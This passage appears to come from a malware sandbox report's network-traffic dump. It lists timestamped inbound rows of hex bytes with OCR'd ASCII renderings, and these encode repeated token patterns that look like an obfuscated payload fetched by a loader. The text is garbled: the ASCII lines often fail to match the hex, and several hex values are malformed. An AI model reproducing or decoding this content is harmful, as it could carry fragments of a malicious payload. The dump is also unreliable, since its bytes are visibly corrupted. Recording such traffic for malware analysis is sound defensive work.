20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4d 20 4f
20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 6d 20 4f
20 45 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f
20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 45 70 20
4f 20 44 57 20 4f 20 44 44 20 4f 20 58
Data Ascii: DW O qOp O DW O DM O EE O DW O MX O qgM O DD O qqW O DW O EJ O XW O DW O MX O Xq O DW
O gqOM O DW O Eq O WJ O DW O MM O qgM O DW O bW O bW O bW O DW O DW O Xm O Em O qgM O qOM O
DW O DM O DM O DW O qOO O Xq O DD O mX O DW O Eq OWD O DW O Ep O DW O DD O X

2021-10-29 18:29:50 UTC 1040 IN Data Raw: 4d 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f 20
4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20
4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20
58 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f
20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
58 71 20 4f 20 57 70 20 4f 20 71 71 4d
Data Ascii: MO O qgM O qOM O DW O DM O WD O DW O MM O DW O DD O mX O DW O Eq O qOE O DW O MX O
qgqM O DD O qqe O DW O EJ O EE O DW O DW O DW O DE O Xq O DW O DE O XM O DW O Xp O DW O DD O qOX
O DW O Eq O qgM O bw O MM O DW O DW O DW O DW O Ep O DW O DW O Xg O Wp O qgqM

2021-10-29 18:29:50 UTC 1042 IN Data Raw: 4f 20 44 44 20 4f 20 45 71 20 4f 20 71 71 4f 20 4f 20 44 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 44 20 4f
20 44 57 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f
20 44 57 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20
44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 70 20 4f
20 44 57 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 71
Data Ascii: O DD O Eq O qqO O DM O qOp O DW O XD O DW O DD O EX O DW O DM O qqM O DW O Ep O DW O DD
O Xp ODW O EqO XW O DW O MM O DW O DD O ggX ODW O EJOEp ODW O qOO O DW O DW O qOp ODW O
DEOmXODW O Ep ODW O DD O DD ODW O EqOqgMODWO MXODWODWOq

2021-10-29 18:29:50 UTC 1043 IN Data Raw: 20 6d 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44
44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 4d 20 4f 20 4d 4d 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44
20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44
20 4f 20 71 71 4d 20 4f 20 44 57 20 4f
Data Ascii: mX O DW O EJ O Ep O DW O MX O DW O DW O ggm O DW O EO O bW O DW O MX O bw O DD O mM
O DW O EJ O EE O bw O bw O bw © bw O bw O bw O bw © bw O bw O bw O bw O bw O bw O bW O DM O
gqOM O MM O Em O qOp O DD O Xq O DW O EJ O Ep O DW O MX O qqM O DD O qgM O DW O

2021-10-29 18:29:50 UTC 1044 IN Data Raw: 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20
44 4d 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 44 57 20 4f 20 45 4d
20 4f 20 71 4f 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20
Data Ascii: mE O mE O qOp O DW O DD O XO O bw O bM O gqw O bw O bw O bW O bw O DW O bW O DW O
DW O bw O bw O bw O bW O DE O Xq O bw O bw O bw O bw © bW O bW O EJ O DW O DW O qOp O DW O
XO ODW O DW O EW O DW O EM O qOE O DX O mE O mE O mp O DE O DW O DW O DW O bW O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1046 IN Data Raw: 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f
20 44 44 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20
44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20
44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44
20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f
Data Ascii: O Wp O DW O DE O DW O DW O XJ O Xq O DD O WJ O DW O Eq O EE O DW O MO O Xq O DD O qqM
ODWOEJO XqODWO ME O XqODD O ggX O bW O Eq O WJ O DW O bw O bw O DW O bw O bw O bW O bW
O Dbw O bw O bw O bw O DD O Xw O bw O bw O bw O bDw O bw O DD O q0J O DW O

2021-10-29 18:29:50 UTC 1047 IN Data Raw: 45 45 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71
20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20
44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20
45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f
20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f
20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f
20 45 71 20 4f 20 45 45 20 4f 20 44 57
Data Ascii: EE O DW O XM O Xq O DD O mX O DW O Eq O qOE O DW O MX O qgM O DD O ggE O DW O DE O DW O
DW O MO O Xq O DD O gJg O DW O EJ O Ep O DW O MX O qgM O DD O gJg O DW O DE O bw O bw O ME O DW
ODDOgOmMODWOEJOEEODWOEpODWODD O qgX O DW O Eq O EE O DW

2021-10-29 18:29:50 UTC 1048 IN Data Raw: 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20
45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f
20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f
20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57
20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 44
57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44
57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20
Data Ascii: WD O DW O MX O qOp O DW O gOp O DW O EJ O Xg O DW O MX O ggM O DW O qOp O DW O EJ O Xq
O DW O ME O DW O DD O gOX O DW O DE O DW O DW O XM O qgM O DD O qqW O DW O Eq O qOE O DW O MM
O DW O DD O gOW O DW O Eq O WD O DW O XM O Xg O DD O gJq O DW O Eq O Xq O

2021-10-29 18:29:50 UTC 1050 IN Data Raw: 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57
20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44
57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44
57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20
4f 20 44 45 20 4f 20 58 71 20 4f 20 44
Data Ascii: p O DW O DD O Xm O DW O Eq O gOp O DW O MO O Xg O DD O qgW O DW O Eq O qqgM O DW O Ep O D
W O DD O DM O DW O Eq O qgM O DW O MO O ggM O DW O DW O DW O DW O DW O DW O DW O DW O DW O
DW O DW O DW O DW O DW O DW O DW O DW O DE O XW O DW O MM O DW O DE O Xq O D

2021-10-29 18:29:50 UTC 1051 IN Data Raw: 44 57 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71
71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44
44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d
4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 420 71 71
45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 57
6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20
Data Ascii: DW O DM O qgM O DW O ME O Xq O DD O qqE O DW O Eq O XW O DW O Ep O DW O DD O DD O DW O
EJOEp ODW O MO O ggM O DD O mM O DW O Eq O mX O DW O MO O Xq O DD O qgqE O DW O EJ O Xq O DW O
MM O ggM O bW O Wm O bw O bw O bw O bw O bw O bw O bw O bw O DW O bW O

2021-10-29 18:29:50 UTC 1052 IN Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44
57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44
57 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44
57 20 4f 20 4d 45 20 4f 20 58 71 20 4f
Data Ascii: O DW O bw O bw O bw O bw O bw O bW O bw O bw O bw O bW O bw O DW O DW O DW O bW
O DW O DW O DW O DE O XW O DW O MM O DW O XJ O Xq O bD O MX O DW O DW O gqgq O DW O WD O DW O
EE O DW O DW O XO O mE O mE O qOp OqOp ODDO XqODWOEJOEpODWO ME O XqO

2021-10-29 18:29:50 UTC 1054 IN Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20
4F 20 45 4f 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57
20 4f 20 58 4f 20 4f 20 4d 4d 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57
20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57
20 4f 20 45 4a 20 4f 20 4d 4d 20 4f 20
Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DW O EE O DW O DW O XD O DW O EJ O DW O EO
0 (OE O DW O XE O qgM O DW O Em O DW O XO O MM O DX O DW O DW O DX O mE O mE O WJ O DW O DW O
XD O ggM O DD O ggJ O DW O Eq O WJ O DW O MO O DW O DD O ggX O DW O EJ O MM O

2021-10-29 18:29:50 UTC 1055 IN Data Raw: 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 44
44 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f
20 44 45 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20
71 4f 4f 20 4f 20 58 71 20 4f 20 44 44
Data Ascii: O Xq O bW O bw O bw O bw O bw © bw O bw O bw O bw O bW O bw O DW O bw O DW O bW O
DW O DW O DW O DW O DW O Em O Xq O DD O gqgM O DD O qgW O DW O EO O qOE O DW O DE O Xq O DX O
mE O DW O qgM O DW O DW O mE O mE O mp O DE O DW O EO O Ep O DW O qOO O Xq O DD
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Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1059 IN Data Raw: 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 70 20
4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20
4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 71 4f 4f
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4d
20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 45
20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d
4f 20 4f 20 58 71 20 4f 20 44 44 20 4f
Data Ascii: O DD O mX O DW O Eq O qOp O DW O Ep O DW O DD O qqJ O DW O EJ O EE O DW O Ep O DW O DD
O qgE O DW O Eq O WD O DW O qOO O bw O DW O qOp O DW O EJ O EE O DW O MM O DW O DD O qOX O bW
O EqOEEODWO MEO XgO DD O gqOMO DW O Eq O gOE O DW O MO O Xq O DD O

2021-10-29 18:29:50 UTC 1063 IN Data Raw: 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4a 71 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57
20 4f 20 45 44 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f
20 45 71 20 4f 20 71 4f 45 20 4f 20 44
Data Ascii: W O EE O DW O gqJg O Xq O DE O mX O DW O ED O XM O DW O DD O qgM O Xq O DW O DW O XO O
mE O mE O gOm O Xq O bw © bw O bw O bw © bw O bw O bw © bw O bw O bw O bw O bW O DW O DW O
DW O DW O DW O DX O DW O DW O EO O Xq O DM O Xq O DX O qOO O DW O Eq O qOE O D

2021-10-29 18:29:50 UTC 1064 IN Data Raw: 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57
20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f
20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20
4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57
Data Ascii: M O DW O DW O qOp O DW O Eq O EE O DW O MX O qgM O DD O qqD O DW O EJ O DW O DW O MX O
ggM O DD 0 qJJ O DW O Eq O qOE O DW O gOO O DW O DD O qqJ O DW O Eq O WD O DW O MX O qOp O DW O
DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW

2021-10-29 18:29:50 UTC 1069 IN Data Raw: 20 44 57 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45
4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f
6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f
70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71
71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71
71 4f 20 4f 20 44 57 20 4f 20 44 57 20
Data Ascii: DW O DM O XW O DD O Xq O Xq O DW O EM O DW O DW O mX O DM O DW O DW O DX O mE O mE O
WJ O DW O DW O XW O qqM O DD O gOm O DW O EJ O XM O DW O MO O Xq O DW O qOp O DW O DM O EE O
DW O MX O qgM O DD O ggE O DW O Eq O XM O DW O ME O Xq O DD O qqO O DW O bwW

2021-10-29 18:29:50 UTC 1073 IN Data Raw: 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 71
4f 4 20 4F 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
71 4a 71 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20
44,57 20 4f 20 44 57 20 4f 20 44 57 20
Data Ascii: Op O DD O gqJ O DW O Eq O XW O DW O gOO O qqM O DW O gJJ O DW O DX O Ep O DW O DW O DW
O DW O DW O DW O DW O DW O DW O gJg O DW O gOD O Ep O qOp O DW O DW O DW O DW O DW O DW O EE
O DW O DW O DW O DW O DW O DW O DX O XM O DW O EX O MM O DW O DW O DW O DW

2021-10-29 18:29:50 UTC 1077 IN Data Raw: 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d
58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20
4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20
4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20
45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20
71 4f 4f 20 4f 20 44 57 20 4f 20 44 44
Data Ascii: DW O DW O qOp O DW O Eq O DM O DW O MX O qOp O DD O qOE O DW O DE O DW O DW O Xm O Xq
ODDOqgXODWOEJOXMODWO MO O XqODW O qOp ODW O DM O Xg O DW O MX O qgM O DD O Wq O
DW O Eq O WJ O DW O Ep O DW O DD O qOW O DW O EJ O XW O DW O qOO O bW O DD

2021-10-29 18:29:50 UTC 1081 IN Data Raw: 20 57 4a 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f
20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f
20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20
45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f
